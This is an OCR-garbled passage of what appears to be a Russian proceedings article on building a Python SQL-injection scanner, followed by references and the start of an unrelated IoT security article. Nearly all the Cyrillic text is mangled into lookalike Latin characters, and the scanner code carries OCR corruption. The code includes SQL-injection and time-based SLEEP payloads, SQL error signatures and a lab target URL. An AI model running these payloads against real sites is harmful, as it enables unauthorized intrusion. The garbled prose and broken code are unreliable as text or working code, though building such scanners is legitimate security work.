OcHoBHO# Hegoctatok SQLMap 3aximouaeTcsi B €ro CIOKHOCTHA HMCIIONIb30BaHus. J1jis
PSIOBOTO COTPYIHMKAa KOMIIAHMM OCBOCHHUE 3TOTO MHCTPYMEHTA MOXET IPEJCTaBIAThH
3HAUYUTENIbHYI0 TpyAHOCTh. SQLMap npeanaraer oOmuMpHBIN HAOOp ONIMK U KOH(UTYpaIHid,
KOTOpBIE MOT'YT OBITh 3aTpPYIHHUTENbHBIMU A1 HOBUYKOB. Ilonb3oBarensm dacto Tpebyercs
3HAYUTENIbHOE BpeMs JJIsl U3yUYEHHUs TOKYMEHTAIIMU U TOJIHOT'O TOHUMAaHHUS BCEX BO3MOXKHOCTEMN
U OCOOCHHOCTEH WHCTPYMEHTAa. DTO JeNaeT IMPOIEeCC €ro OCBOCHUS BEChbMa TPYIOEMKHUM,
0COOEHHO IS TeX, KTO HE UMEET OIbITa pabOThI C OJOOHBIMU HHCTPYMEHTAMU.

BropsiM BakHBIM HepocTaTKoM siBisieTcs: uHtepgeiic. Hecmotpst Ha 10, uto SQLMap
MIPEIOCTABIISIET MOITHBIA MHTEp(hENC KOMaHIHON CTPOKH, €TO UCIIOJIb30BAHHUE MOYKET OKa3aThCs
CJIOXHBIM JJIsl HEOIBITHBIX IOJIb30BaTeNe, KOTOpbIe MpeArnowr Obl Oojiee WHTYMTUBHBIN U
MOHATHBIN uHTEpdetic. PaboTa uepe3 KOMaHIHYIO CTPOKY TpeOyeT He TOJIbKO 0a30BbIX 3HAHMH,
HO M YBEPEHHOCTH B HCIOJIb30BAaHMHM KOMAaH[, YTO MOXKET OBbITh MPEMSTCTBHEM JUIS TeX, KTO
MIPUBBIK K rpaduuecKkuM uHTepdeiicam.

JlononuutensHOM MpoOieMOl Uit MHOTHX IOJb30BaTeNiell sBIAETCS OTCYTCTBHE
BCTPOEHHOW (DYHKIIMHM aBTOMAaTHYeCKOro jiorupoBanus. SQLMap He mpenyaraeT BO3MOXHOCTH
aBTOMAaTHYECKOTO COXpAaHEHUsl pe3yiabTaToB B (ailn, uto TpedyeT OT mob3oBaTeneit
JIOTIOJTHUTENIbHBIX JIEHCTBUN JJIi PYYHOTO JIOTMPOBAaHUS. DTO MOXET CO3/1aBaTh HEYI00CTBa,
0COOCHHO TIPH BBIIMOJHEHUH JIONTOCPOYHBIX WM CIOKHBIX TECTOB, IJIe Ba)KHA aBTOMATH3alUs
IIPOLIECCOB.

Taroke cinenyer oTMeTuTh, 4To HacTpoiika SQLMap ans ornpaBku POST-3anmpocos
JIOBOJIHO CIIO)KHA M MOXET 3amyTaTh Jake OMNBITHBIX Mojb3oBateneil. [Iporecc TpeOyer
TOYHOT'O OIPEJENICHNUsI BCEX MapaMeTPOB M MX 3HAUEHWM, YTO YBEJIMYMBAET PUCK OIIMOOK U
cHkaeT 3()(HEeKTUBHOCTh MCIOJIb30BaHUs MHCTPYMEHTA. J[JIsl yCIEIHOro BBIMOJHEHUSI TaKUX
HACTPOEK HEOOXOAMMBI TiyOOkue 3HaHus crermpukn padorer ¢ HTTP-3ampocamu  u
CTPYKTYPOU TECTUPYEMBIX MPUITOKEHH.

B wutore, HecMOTpsl Ha CBOIO MOIIb U IIMPOKHE BO3MOXKHOCTH, SQLMap MoxeT ObITh
TPYAHBIM JUIi OCBOCHHUSI M HCIOJIB30BaHUS, OCOOEHHO NJIsi HOBHUYKOB M TE€X, KTO HE MPHUBBIK
paborate ¢ wuHTepdeiicom KOMaHTHOW CTpokd. Pemienme »Tux npobiem TpedyeT
JOTIOJTHUTENIFHOTO BPEMEHH U YCHJIMH, YTO MOXET CTaTh CYIIECTBEHHBIM OapbepoM Ui €ro
BHeZ[peHHs ¥ 2(P(PEeKTUBHOTO MCTIOIH30BaHMS B KOMITAHHH.

N3-3a TOro, 4yto Haia UEJb — UHCTPYMEHT, KOTOPBIM MOHATEH PSIOBOMY CUCTEMHOMY
aaMmuHucTparopy, SQLMap He MoaXoIuT JJIsl KCTIOJIb30BaHUSI.
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ScanQLi — 310 ermmie 0aMH MHCTPYMEHT JUIS aBTOMATH3aIMU IPOIecca OOHApPYKEHHUS
SQL-unbekuuii B BeO-puiIokeHUAX. UYTOOBI Jydlle MOHATH NMPEUMYIIECTBA M HEIOCTaTKU
pa3IMYHbIX WHCTPYMEHTOB, IMOJIE3HO CPaBHHUTH pa3paboTaHHbIi MHCTpyMeHT ¢ ScanQLi, a
TaKoKe yKa3aTh Ha HenocTaTku SQLMap, KOTOPBIX HET y HAlllero MHCTPYMEHTA.

B otnmmumne or SQLMap, KOTOpbI 4aCTO KPUTHUKYIOT 32 CIOKHOCTH HUCIIOJIB30BAaHUSA U
obunre KOH(HUIYpalMoOHHBIX omuuid, ScanQLi cTpemuTcs K mpocrore U yAoOCTBY JUis
MOJIL30BATENI. JTO HHUBEIUPYET TIIaBHBIM HemocTatok SQLMap, nemas ScanQLi Ooree
JOCTYIHBIM JUIS PSIIOBBIX COTPYIHUKOB KOMIIaHMHA. TeM He MeHee, CTpEMJIEHHE K IPOCTOTE
MIPUBENIO K HEKOTOPHIM KOMIIPOMHUCCAM, KOTOPbIE HEOOXOIUMO YUUTHIBATb.

OnmHUM M3 TakuX KOMIIPOMHCCOB SIBIISIETCS OTpaHWYEHHOCTH (yHKIMOHaima ScanQLi.
Hanpumep, WHCTpYMEHT MOXKET WMETh OTpaHWYCHHS B Tojiepxkke W obpabotke POST-
3aIpoCcOB, YTO 3HAYUTEIBHO CHMXKAET €ro THUOKocTh. B TO BpeMs Kak BO3MOXKHOCTb
OecnpensTCTBEHHOTO JIOCTyNa K TaKuM 3ampocaM SIBJISETCSl OO0s3aTelbHBIM ITYHKTOM JIJIst
CO3/IaBaeéMOro HamH HWHCTpyMeHTa, ScanQLi He Bcerma copaBiseTcss ¢ JTOW  3amaueit
3¢ deKkTUBHO.

Eme onpHoit BakHOH mpoOiemoit ScanQLi  siBIsieTcst HEZOCTaTOYHO —XOPOLIO
peanu3oBaHHOE JiorHpoBaHue. MHCTpYMEHT MpenocTaBiseT Julllb 0a30BYI0 HHPOPMALHUIO O
HAWJICHHBIX YA3BHMOCTSIX, YTO MOXET OBITh HEJOCTATOYHO JUIA TIIyOOKOTrO0 aHaim3a W
ycTpaHeHHs TmpobrneMm. Ham WHCTpYMEHT JODKEH TMpensiokuTh Oonee moApoOHOE U
aBTOMATH3UPOBAaHHOE JIOTUPOBAHHWE, YTOOBI IIONB30BATEIM MOTJIM JIETKO OTCIIEXKHBATh W
JIOKYMEHTHPOBATh Pe3yJIbTaThl CKAHUPOBAHUSI.

[Tomumo storo, ScanQLi BBIMONHSET 3ampoChl MOCIEAOBATEILHO, YTO 3HAYUTEIHEHO
CHIDKA€T €ro CKOPOCTb U MPOM3BOJUTENBHOCTh. B ycnoBusix, korga TpeOyercst ObIcTpoe
CKaHMPOBaHUE OOJBIIMX OOBEMOB JIAHHBIX, TAKOM MOJXOJ MOXKET OKa3aThCs HEIOCTATOYHO
s dexTuBHBIM. B oTimMyme OT 3TOro, Hall MHCTPYMEHT JOJDKEH 00ecleunBaTh MapaielbHOe
BBITIOJIHEHWE  3alpOCOB, 4YTO  3HAYUTENBHO TOBBICUT €ro CKOPOCTb W OOIIYIO
MIPOU3BOJUTEIHHOCTb.

Takum oOpa3oM, HeCMOTps Ha OoJiee MOHSTHBIA W JPYKEIMIOOHBIA WHTEpdENc s
nonb3oBateneli, ScanQLi crankuBaeTcsi ¢ PpsAIOM  CYIIECTBEHHBIX orpaHudeHuid. Ero
¢byHKIMOHAN cTanm  Ooliee  OTPaHWYCHHBIM, a TPOU3BOAMTENILHOCTh CHH3WIACH H3-32
MOCJIEI0BATENILHOTO BBIMOIHEHUS 3alIPOCcoB. DT dakTopsl AenaroT ScanQLi menee y1o0HBIM U
3 PEKTUBHBIM HHCTPYMEHTOM It OOHapykeHust SQL-uHbeKImii B BeO-IPUIIOKSHUSX.

B BBIBOZIaX MOXHO OTMETHTH, 4TO XOTH ScanQLi u yiydIaeTr ombIT MOJIB30BATENs 3a
CUeT MPOCTOTHI UHTEpPelica, ero OrpaHNUEHHbIN (YHKIMOHA U HHU3Kasl MPOU3BOAUTEILHOCTh
CTaBAT I0Jl COMHEHHE €ro MpPaKTHYECKYIO0 IHEHHOCTh B PEaJbHBIX YCIOBHAX paboThL. ITO
MOTYEPKUBACT HEOOXOIMMOCTh CO3JaHUSI HMHCTPYMEHTA, KOTOPBIM OOBEIUHSET YI0OCTBO
UCIIONB30BaHU €  MOUIHBIM U THMOKUM  (YHKIIMOHAJIOM, a  TaKKe  BBICOKOM
MIPOU3BOJUTEIHHOCTBHIO.

OcranbHble  MHCTPYMEHTBHI  MPEACTABISAIOT  COOOM  NPWIIOKEHUS  aHAJIOTUYHBIC
MPEAbIAYIINM, C HEOOIBIINMH OTIMYHSIMH.

Onucanue TpeOoBaHUIM K MHCTPYMEHTY

s pa3pabotku 3(PPEeKTUBHOTO W yHOOHOTO HMHCTPYMEHTa Ui TPOBEPKU BeO-
npuiokeHuii Ha Hamwmuue SQL-MHBEKIMH HEOOXOOUMO ONpeNeIuTh YETKHUE TpeOOBaHMS,
KOTOppIe  obecriedar ero  (PyHKIMOHAILHOCTb, IPOU3BOAMUTEIBHOCTE U yI00CTBO
ucnosb3oBaHus. Hike npuBeeHbl OCHOBHBIE TPEOOBaHMS, KOTOPBIM JIOJI’KEH COOTBETCTBOBATh
pa3pabaThiBa€MbIii HHCTPYMEHT.

1. ITpocToTa Ucnoib30BaHuUs

NuTynTnBHO NOHATHBIN HHTEpdeic: MHCTpYMEHT JOKeH ObITh IPOCTBHIM U TIOHSATHBIM
JUI UCTIONIb30BAHUS, Jake JUIsl IOJIb30BATENIEl C OrPaHUYEHHBIM OIBITOM B TECTUPOBAHUU
0€30IacHOCTH.

MunumanbHble HacTpoliku: Ilonbp3oBatento TOMmKHO ObITH aoctaToyHO ykaszate URL,
napametp u metoz 3anpoca (GET wim POST) nyis Havana ckaHUPOBaHUS.
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2. KomanHas ctpoka

[IpocToTa KOMaHIHOI CTPOKHU: 3aIlyCK MHCTPYMEHTA JOJKEH TpeOOBaTh MUHUMAIIBHBIX
apryMEHTOB, YTOOBI TOJIH30BATEIN MOTJIM OBICTPO MPUCTYIIUTH K padoTe.

3. Ilonnepxka pa3IMYHbIX METOJIOB 3alIPOCOB

[Tonnepxxka GET-3ampocoB: MHCTpyMEHT [OJKEH YMETh CKAaHUPOBATH IApaMETPhI,
nepenaBaemblie B URL.

[Momnepxka POST-3anpocoB: MHCTpyMEHT NODKEH yMeTh 00pabaThiBaTh MapaMeETphl,
nepenaBaembie MeTosioM POST, uro mo3Bonut nposepsATh popmbl u apyrue POST-3ampock!.

4. O0HapyXeHHUE YI3BUMOCTEH

ITpoBepka SQL-nubekunmii: MTHCTpYMEHT OKEH NPOBEPSATH MapaMeTpbl Ha HAIWYME
SQL-uHBEKINH C TTOMOIIBIO PA3TMYHBIX MTOJIE3HBIX HATPY3O0K.

OO0pa0oTka pa3nUYHbIX TUIOB MHBEKIMM: VHCTpyMEHT JOIKEH OBbITh CIIOCOOEH
O0HApYyX HBAaTh HECKOJIBKO TUIMOB SQL-MHBEKIMH, BKIIIOYAsh MPOCTHIE U CIOYKHBIE WHBEKIIHU.
(time-based SQL-unbekimn).

Bpemennble 3anepxku: HHCTpyMEHT [ODKEH BKIIOYAaTh IIPOBEPKM HA OCHOBE
BPEMEHHBIX 33/ICPIKEK, UTO MO3BOJISIET OOHAPYKUBATh time-based SQL-unbeKImu.

5. IIpou3BOAUTENBHOCTD

MHuoronoto4Hocts: MHCTpYyMEHT [ODKEH MCHOJIb30BaTh MHOIONOTOYHOCTH  JJISt
[apaJIJIEIbHOTO BBIIOJIHEHUSI 3aIIPOCOB, YTO 3HAUUTEIBHO YCKOPHUT IPOLIECC CKAHUPOBAHMS.

HactpanBaemoe xkomuuecTBO NOTOKOB: lloip3oBarens NOJDKEH MMETh BO3MOKHOCTB
HACTPOUTHh KOJIMYECTBO IIOTOKOB Ul ONTUMH3ALMU NPOU3BOAMTEIBHOCTH B 3aBUCHUMOCTH OT
JOCTYIHBIX PECYPCOB.

6. JlorupoBanue 1 OTYETHOCTD

ABTOoMaTHueckoe JorupoBaHue: HWHCTpyMEHT MJOKEH aBTOMATUUECKH COXPaHATH
pe3ysbTaThl CKaHUpPOBaHMA B (ai, dYTOOBI MOJB30BaTEIb MOI IPOCMOTPETH U
MIPOAHAIM3UPOBATH UX MO3KE.

[ToapoOHbIe oTUeTHI: (ailiibl KYpHATIOB JOJKHBI BKIIFOUATh MOAPOOHYIO MH(OPMAIIHIO O
BBISIBJICHHBIX YS3BHUMOCTSX, BKJIIOYas MCIOJb30BaHHBbIE TMose3Hble Harpys3ku, URL, merton
3ampoca u qanHelie POST (ecu npuMeHumo).

7. HacTpanBaeMoCTh

['nbxue HacTpoiku: MHCTpYMEHT JOJKEH MPEA0CTaBIISATh MOIb30BATENSIM BOZMOKHOCTh
HacTpanBaTh MapamMeTpbl CKAHHUPOBAHWA, TaKWE KaK TallM-ayThl 3ampocoB, 3aronoBku HTTP,
KOJINYECTBO MIOTOKOB U T.[.

Ilonnepxka NOIB30BATENBCKUX MOJIE3HBIX Harpys3ok: llomb3oBarens MOKEH HMETH
BO3MOXHOCTh JI0OAaBJIITh CBOUM COOCTBEHHBIE IIOJIE3HBIE HArpy3kh [yl mpoBepku SQL-
WHBEKIMN.

Harmmcanue nmporpaMmsl

Jliis Havan uMnopTupyeM OMOIMOTEKH, KOTOPBIE HaM TTOHAI00ATCS IS HAMCaHUsI KoAa

(pucyHok 1):

import requests

import sys

from colorama import Fore, Style

from concurrent.futures import ThreadPoolExecutor
import time

Pucynok 1. Umnopm neobxooumvix 6ubauomex.
PaccmoTpum kpatko 6MGIMOTEKH

bubmmoTteka requests sBISETCS OAHOW M3 CaMbIX MOMYJSPHBIX U YAOOHBIX OHOIHOTEK
s paborel ¢ HTTP-3ampocamu B si3plke mporpamMmupoBanus Python. Ona ymporaer
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B3anMojielicTBUe ¢ BeO-cepBucamu U API, mpemocTaBisis mpocTold U MHTYUTHUBHO TOHSITHBIN
unrepdeiic g BemonHenuss HTTP-3anpocos. bubnmoteka requests pa3paboraHa ¢ akLEHTOM
Ha ymZOOCTBO WCITOJIB30BaHMS W YATAEMOCTh KO/, YTO JIENACT €€ OTIMYHBIM BBIOOPOM ISt
paboTHI C CETEBBIMHU 3aIPOCAMHU.

bubmmoTteka sys sSBIsIETCS OJTHOM W3 CTaHAAPTHBIX OnOmoTek Python m mpenocrasser
JOCTYI K HEKOTOPBIM MEPEeMEHHBIM U (DYHKIWSM, B3aMMOJCHCTBYIOIIMM C MHTEPIIPETATOPOM
Python. Ota Oubimoreka mosie3Ha Uil yNpaBIE€HUs] MOTOKOM BBITIOJIHEHUS] MPOrpaMMbl U
MOJTy4eHUs! HH(POPMAIIHH O CPe/Ie BHITOTHEHHS.

bubmmoTteka colorama Hy>kHa JI71s1 KPaCUBOTO UCITOJTHEHHSI KOHCOJILHOTO MHTEpdeiica.

bubnmoreka time Hy»Ha A7t pabOTHI CO BpEMECHEM.

Haunem Hamucanuwe xoma ¢ GyHkumu mpoBepkd Ha SQL-MHBEKIMH, KOTOpas CTaHET
OCHOBHO# (hyHKIIMEl B Halel mporpaMmMe (pUCYHOK 2):

def check_sql_injection(url, param, payloads, method="GET", data-None):
vulnerabilities = []
for payload in payloads:
if method == "GET":
injected url = url.replace(param, payload)
request_data = None
else:
injected url = url
request_data = {param.split('=")[@]: payload}

try:
response = requests.request(method, injected url, data=request data, timeout=5)
if any(error in response.text for error in sql_errors):
result =

‘payload’: payload,
‘url': injected url,
‘method’: method,
‘data’: request_data

vulnerabilities.append(result)
print(f"{Fore.RED}[!] SQL Injection vulnerability found with payload: {payload}{Style.RESET_ALL}")
print(f"uRL: {injected_url}")
except requests.exceptions.RequestException as e:
print(f"{Fore.YELLOW)[!] Request error: {e}{Style.RESET_ALL}")
return vulnerabilities

Pucynox 2. Koo ¢yuxyuu nposepxu sqli.

Orot pparmeHT koxa peanmsyer ¢pynkuuio check sql injection, koTopas mposepsieT BeO-
NPWIOKEHWEe Ha Hanuuue ysa3BuMocTed SQL-MHBEKIMH, HMCHONb3ysl 3a/aHHbBIC IOJIE3HbIE
Harpysku (payloads).

Oyukims check sql injection aBromMaTtu3upyer mporecce IPOBEPKU BEO-TIPUIIOKESHUS Ha
Haymare SQL-MHBEKIUHA, UCTIONB3YsI 33JaHHbIC TTOJIC3HBIC HATPY3KH W METOJIBI 3arpocoB. OHa
¢dopmupyetr u otnpasisier HTTP-3anpockl, npoBepsieT oTBeThl Ha Hanmumuue onmbok SQL u
BO3BPALIAET CIIUCOK ySA3BUMOCTEMN, €CJI TAKOBBIE ObLITU OOHAPYKEHBI.

[Mepeiinem k ¢ynkuuun Time Based SQLi. ®ynkuums check time_based_injection
npeaHa3Ha4YeHa Uil TPOBEPKH BeO-TIPUIIOKCHUI HA HAMYKME ysA3BUMOCTEeH Tuma time-based
SQL wunbeknmii (pucyHok 3). OtorT Tun SQL MHBEKIMH OCHOBBIBAETCS HAa HWCIOJIb30BAHHUH
BPEMEHHU 3aJIEPKKH [T BBISIBIICHHS YSI3BUMOCTEN. B ciydae ycnenHol HHbEKIUH, BBIOJIHEHHUE
SQL-3ampoca HamMepeHHO 3aJepP)KUBACTCS HA 3aJaHHOE KOJIMYECTBO CEKYHJZl, 4TO MOKHO
W3MEPUTH IS ONIPEEeNICHHs] HAJTMUUS yI3BUMOCTH.

def check time based injection{url, param, payloads, delay=5, method="GET", data=Hone):
time_based_payloads = [payload.format(delay=delay) for payload in payloads]
vulnerabilities = []
for payload in time_based _payloads:
if method == "GET":
injected_url = url.replace(param, payload)
request_data = Mone
else:
injected url = url
request_data = {param.split('=")[8]: payload}

try:
start_time = time.time()
response = requests.request(method, injected_url, data-request data, timeout-delay+2)
end_time = time.time()
if end_time - start_time >= delay:
result = {
"payload’: payload,
‘url’s injected_url,
‘method": method,
"data’: request data

vulnerabilities.append(result)
print(f"{Fore.RED}[!] Time-based SQL Injection vulnerability found with payload: {payload}{Style.RESET_ALL}")
print(f*URL: {injected url}")
except requests.exceptions.Requestexception as e:
print(f"{Fore.YELLOW}[!] Request error: {e}{Style.RESET_ALL}")
return vulnerabilities

Pucynox 3. Koo ¢yurxyuu nposepxu Time based SQLA.
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Oyukmmsa  check time based injection aBTOMaTH3MpyeT TpPOIECC TPOBEPKH BeO-
npuiokeHuil Ha Hammuue time-based SQL mHbekimii. OHa co3maeT 3ampochkl € MOJE3HBIMU
Harpy3kaMu, BKJIFOYAIONIMMHU 33JCPKKH, W M3MEPSeT BPEMs BBITOJHECHHUS KaXKJIOrO 3ampoca.
Ecrmu Bpems BBITIONHEHMs TPEBBIIIACT 3aJIaHHYIO 3aJIEPXKKY, 3TO YKa3bIBA€T HAa BO3MOXKHOE
HAJIMYKAE YA3BHUMOCTH. OJTa (YHKIHSA TOJE€3HA JUIT aBTOMATH3UPOBAHHOTO TECTHPOBAHUS
0€30MacHOCTH BEeO-TIPIIOKEHUI 1 O0HApYykeHHs criennpuaeckux BuaoB SQL uHbeKuii.

Taroke HaM MMOHAJ00UTCS JIOTUPOBAHUE PE3yJbTaTOB. Hanwimem Uit 3TOro OTAeIbHYIO

(byHKIHIO (PHCYHOK 4).

def log results(vulnerabilities, filename="scan_results.txt"):
with open(filename, "w") as f:
for vuln in vulnerabilities:
f.write(f"Method: {vuln['method']}\n")
f.write(f"URL: {vuln['url®]}\n")
if vuln['data']:
f.write(f"Data: {vuln['data’]}\n")

f.write(f"Payload: {vuln['payload']}\n")
fowrite("\n")

print(f"{Fore.GREEN}Results logged to {filename}{Style.RESET_ALL}")

Pucynox 4. Koo ¢ynkyuu noeuposanus pe3yismamos.

Ota ¢yHKUUs OyIeT 3amuchiBaTh Pe3yNbTaThl CKaHUpOBaHUS B (ailn scan result.txt, a
€CJIU TaKoro (¢aiisia HeT, TO CO37acT €ro.
[locne ompeneneHus OCHOBHBIX (DYHKIMSI HAIUIIEM OCHOBHOW OJIOK MpOrpamMMbl

(pucyHOK 5):

if _pame_ == "_main_":
I len(sys.argy) < 3¢
print(f{Fore.YELLOW}Usage: python {sys.argy
print(F"{Fore.YELLOW}Exanple: python {sys.a
print(F"{Fore.YELLOW}Exanple: python {sys.a
sys.exit(1)

8]} <url> <param [method] [post_data]{Style
v[B]} 'http://192.168.1.186/vulne
v[@]} 'http://192.168.1.186/vulnes

SET_ALL}")
/?1d=fRSUbmit=Submit#' 'id=f' GET{Style.RESET_ALL}")

«RE!
sql g
sqli/' 'id=f' POST ‘id=fdSubmit=Submit'{Style.RESET ALL}")

o 0 =

I rabilities/sqli,
I rabilities/sqli,
url = sys.argv[1]

paran = sys.argv[2]

nethod = sys.argv[3].upper() if len(sys.argv) > 3 else "GET"

post_data = sys.argu[4] if len(sys.argv) > 4 else None

payloads =
O C1's

"1 OR SLEEP(S)--",

"' OR SLEEP(S)--",

"\" OR SLEEP(5)--"
1

sql_errors = [
"you have an error in yeur sql syntax",
“warning: mysql”,
"unclosed quotation mark”,
"quoted string not properly terminated”,
"mysql_fetch_array()",
"syntax error”

1

print (f*{Fore.BLUE}Starting 5OL Injection scan...{Style.RESET_ALL}")

wulnerabilities = []

Pucynox 5. Koo ocrognozo 6noka npoepammoi.

DTOT (hparMeHT KOJIa BBHITIOIHSET CIACAYIOIINE 3a/Ia4H:

ITpoBepsieT, 4TO CKPHUIIT 3aIyCKAEeTCsl HAIPSIMYEO.

OO0pabaTbIBaeT apryMeHTbl KOMaHJHOM CTPOKHU M MIPOBEPSET UX KOPPEKTHOCTb.

Muanmmamasupyer URL, mapamerp, HTTP-meron ¥ nononHUTEnbHbIE NaHHBIE UL
3aIpOCOB.

OnpenensieT CIUCKH MOJIE3HBIX Harpy3ok (payloads) u omm6ok SQL.

BoiBogut cooOrieHne o Havane CKaHUPOBAaHUS ¥ MHULMAIU3UPYET CIMCOK YSI3BUMOCTEH.

Takum 00pa3oM, 3TOT KOJA HOATOTABIMBAET BCE HEOOXOAMMOE [UIS BBIMOIHEHUS
(byHKLMH, KOTOpasi IpoBepsieT BeO-NpuiiokeHue Ha Hannure SQL-uHbekuuii.

Taroke A1 ONTUMM3ALMK KOJa JOOABUM MapauIebHOE BBITIOJIHEHUE 3alPOCOB, YTOOBI
YBEJIUYUTH IPOU3BOIUTEIBHOCTD HAILIEH TPOrpaMMbl:
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with ThreadPoolExecutor(max_workers=10) as executor:
future_to_payload = {
executor.submit(check_sql_injection, url, param, payloads, method, post_data): payloads
for payloads in payloads

for future in future_to_payload:
result = future.result()
if result:
vulnerabilities.extend(result)

Pucynox 6. Koo napannenvbhoeo 8uinonnenus 3anpocos.

48:] 3aBCPHICHUC HAITMIICM IIPOBEPKY BPCMCECHHBIX 3aICPKCK:

time_based_vulnerabilities = check_time_based_injection(url, param, ["' OR SLEEP({delay})--", \\
"\" OR SLEEP({delay})--"], method=method, data=post_data)
vulnerabilities.extend(time_based_vulnerabilities)

if vulnerabilities:
print(f"{Fore.GREEN}Vulnerability detected.{Style.RESET_ALL}")
log results(vulnerabilities)

else:
print(f"{Fore.GREEN}No vulnerabilities found.{Style.RESET_ALL}")

Pucynox 7. Koo nposepku epementvix 3a0epiicex.

DTOT (pparMeHT KoJa OTBEYAET 32 MPOBEPKY Ha time-based SQL-unbekimu, nodaBIeHNE
HaMJIEHHBIX YSI3BUMOCTEH B CIIMCOK, W BBIBOJ PE3YJIbTATOB IMPOBEPKHU C JIOTMPOBAHUEM IIPU
HEOOXOIMMOCTH.

BriBox

B pesymbraTe TPOBENCHHOTO WCCIEAOBAaHUS U Pa3pabOTKU MbI  TPEACTABUIN
MHCTPYMEHT I aBTOMAaTU4YECKOTO0 CKAaHUPOBaHMS BEO-TIPUIIOKEHUI Ha HATUYKME YSI3BUMOCTEH,
ces3aHHbIX ¢ SQL-unbekuumsivu (SQLi). DTOT MHCTPYMEHT OTIMYAETCS OT CYIIECTBYIOIIMX
pemrenui, Takux kak SQLMap u ScanQLi, ciemyrommMn 0cOOCHHOCTSIMU

[IpocToTa ucnonbp3oBaHus: Ham MHCTpYMEHT MMEeT MUHHMAIMCTUYHBIA HHTEpQenc
KOMaHJHOM CTPOKH, 4TO OOJerdJaer ero MHCHOJb30BaHHE JaXe Uil HAYMHAIOIIMX
nonb3oBatenieif. OTCYTCTBHE CIOXKHBIX HACTPOEK IMO3BOJISIET OBICTPO HAYaTh IPOBEPKY
YSI3BUMOCTEH.

Wnrerpanust ¢ 0a3oBbiMH OubOIMoTeKamu: lcrmons30BaHME MOMYNISPHBIX OHUOIHMOTEK
Python, Takmx kak requests u colorama, nemaeT WHCTPYMEHT JIETKUM Uil TOHUMAaHUS U
pacupenys. ITo MO3BOJSIET pa3paboTYMKaM JIETKO MOAU(DUIIMPOBATH U alalTUPOBATh €T0 MO
crieruyecKue HyX/Ibl.

KomOuaunpoBanubie nmpoBepku: MHCTpYMEHT MPOBOIUT KaK CTaHIAPTHHIC MPOBEPKH HA
SQL-unbekiuy, Tak ¥ TpoBepku Ha time-based SQL-uHbekiuu. DTO MO3BOJSET OXBATHUTH
0osiee MMPOKHUI CHEKTP TOTEHIIMAIBHBIX aTakK, KOTOPbIE MOTYT OBITh YIYIICHBI IPYTHMH
WHCTPYMEHTaMH.

Ananmu3 U oTtueTHOCTh: HalifieHHble yA3BUMOCTH HOAPOOHO OIKCHIBAIOTCS, BKIIOYAs
UCIOJIB3YEMYIO TIOJIE3HYIO HArpy3Ky, METOJ 3alpoca U Jpyrue BakHble AeTanu. BcrpoeHHas
(GyHKUMS JIOTMPOBAaHUS MMO3BOJSIET COXPAHATH PE3Y/bTaThl Ul MOCJIEAYIOUIETO aHalu3a M
ayaura.

OnTumusaiys 1Mo pas3iaudHble crieHapuu: Bo3moxHocTs padoTsl kak ¢ GET, tak u ¢
POST-3anpocamu, a Takke THOKOCTb B UCTIOJIb30BAHUH PA3IMYHBIX MTOJIE3HBIX HATPY30K JETIat0T
MHCTPYMEHT YHHUBEPCAJIbHBIM JJIsI PA3IUYHBIX TUIIOB BEO-PUIIOKEHUM U  CIIEHapueB
TECTUPOBAHUSL.

[ToBbIIIeHHAsT HAIEKHOCTB: 32 CYET TOYHOrO ompezeneHus ommobOok SQL u aHammza
BPEMEHHBIX 3ajiepkek (time-based WHBEKIMI) WHCTPYMEHT MOXKET HAJICKHO BBISBIATH
YSI3BUMOCTH K€ B CII0KHBIX M 3aIUIICHHBIX CUCTEMAX.

*k*
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JIlendenyuu pazeumus Hayku u obpasosanus -135-

2. Wes McKinney Python for Data Analysis: Data Wrangling with Pandas, NumPy, and IPython. 2-¢ u3n. -
London: Wiley Publishing, 2017. - 550 ¢

3. Brandon Rhodes, John Goerzen Foundations of Python Network Programming. - 3-e u3n. - London: Apress,
2014. - 368 c.

4, Kparkoe PYKOBOJZICTBO 110 OoubIoTEKE Python Requests / PythonRu URL:
https://pythonru.com/biblioteki/kratkoe-rukovodstvo-po-biblioteke-python-requests ~ (mata  oOparesus:
27.11.2024).

5. Monyne time // PythonWorld URL: https://pythonworld.ru/moduli/modul-time.html (nata oGparienus:
25.11.2024).

6. Colorama 0.4.6 // PyPi URL.: https://pypi.org/project/colorama/ (nara obparuenws: 05.12.2024).

Toxkapes E.B.
be3onmacHocTh ceTeBbIX MPOTOKO0JIOB B [0T

Canxkm-Ilemepbypaeckuii 20cy0apcmeerHblil YHUSepCUmem meieKoMMYHUKAYULL
um. npogh. M.A. bonu-bpyesuua
(Poccus, Canxm-Ilemepoype)
doi: 10.18411/trnio-01-2025-248

AHHOTALIUSA

CraThsi paccMaTpUBAaeT KIIOYEBBIE MOIXOABI K 0OECHCUCHHIO 0€30MacHOCTH CETEBBIX
mpotokosoB B loT. Ocoboe BHUMaHME yenseTcss MHU(PPOBAHUIO JaHHBIX, ayTCHTH(UKAIINY,
VIIPaBJICHUIO KITIOYaMH M 3amuTe OT arak. OOCYKIAar0TCs MEXaHU3MBI 3alllUTHl MPOTOKOJIOB
oOMeHa COOOICHUSIMH M POJb PErySIPHBIX OOHOBJICHHWH JJII MHUHUMH3AIMH PUCKOB B
KPUTUYECKH BAKHBIX CUCTEMAX.

Kirouessble cioBa: 10T-cetu, DDoS-ataku, ceTeBble poToKoIbl 6e30macHoct, MQTT
u CoAP, mmdpoBaHue 1aHHBIX, ayTeHTH()UKAIMSA ¥ aBTOPU3ALIHS.

Abstract

The article examines the key approaches to ensuring the security of network protocols in
loT. Special attention is paid to data encryption, authentication, key management and protection
against attacks. The mechanisms for protecting messaging protocols and the role of regular
updates to minimize risks in mission-critical systems are discussed.

Keywords: IoT networks, DDoS attacks, network security protocols, MQTT and CoAP,
data encryption, authentication and authorization.

bezonacHocTh cereBbix npoTokosnoB B MutepHere Bemieit (IoT) sBnsieTcss kpuTuuecku
BO)XHBIM acIleKTOM, Tak Kak loT-ycTpoiicTBa yacTo paboTarOT B HEOE30MACHBIX YCIOBHAX W
nepeaaT KOH(UACHIMAIbHBIE JaHHbIE. YUUTHIBas OrpaHUYEHHbIE pecypchl MHorux loT-
YCTPOMNCTB, pa3paboTka 3((EeKTUBHBIX U JETKOBECHBIX MEXaHW3MOB 0€30MaCHOCTH CTAaHOBHTCS
CJIOKHOM 3amadyeil. Tem He MeHee, 3alMTa JAHHBIX U YCTPOWCTB OT HECAHKIIMOHHUPOBAHHOIO
J0CTYTIa, OJJIEJIKU U aTaK OCTAaeTCs KIIOYEBbIM TpeOOBaHHEM I OE€30MAaCHOTO UCTIONb30BaHUS
loT-cerei.

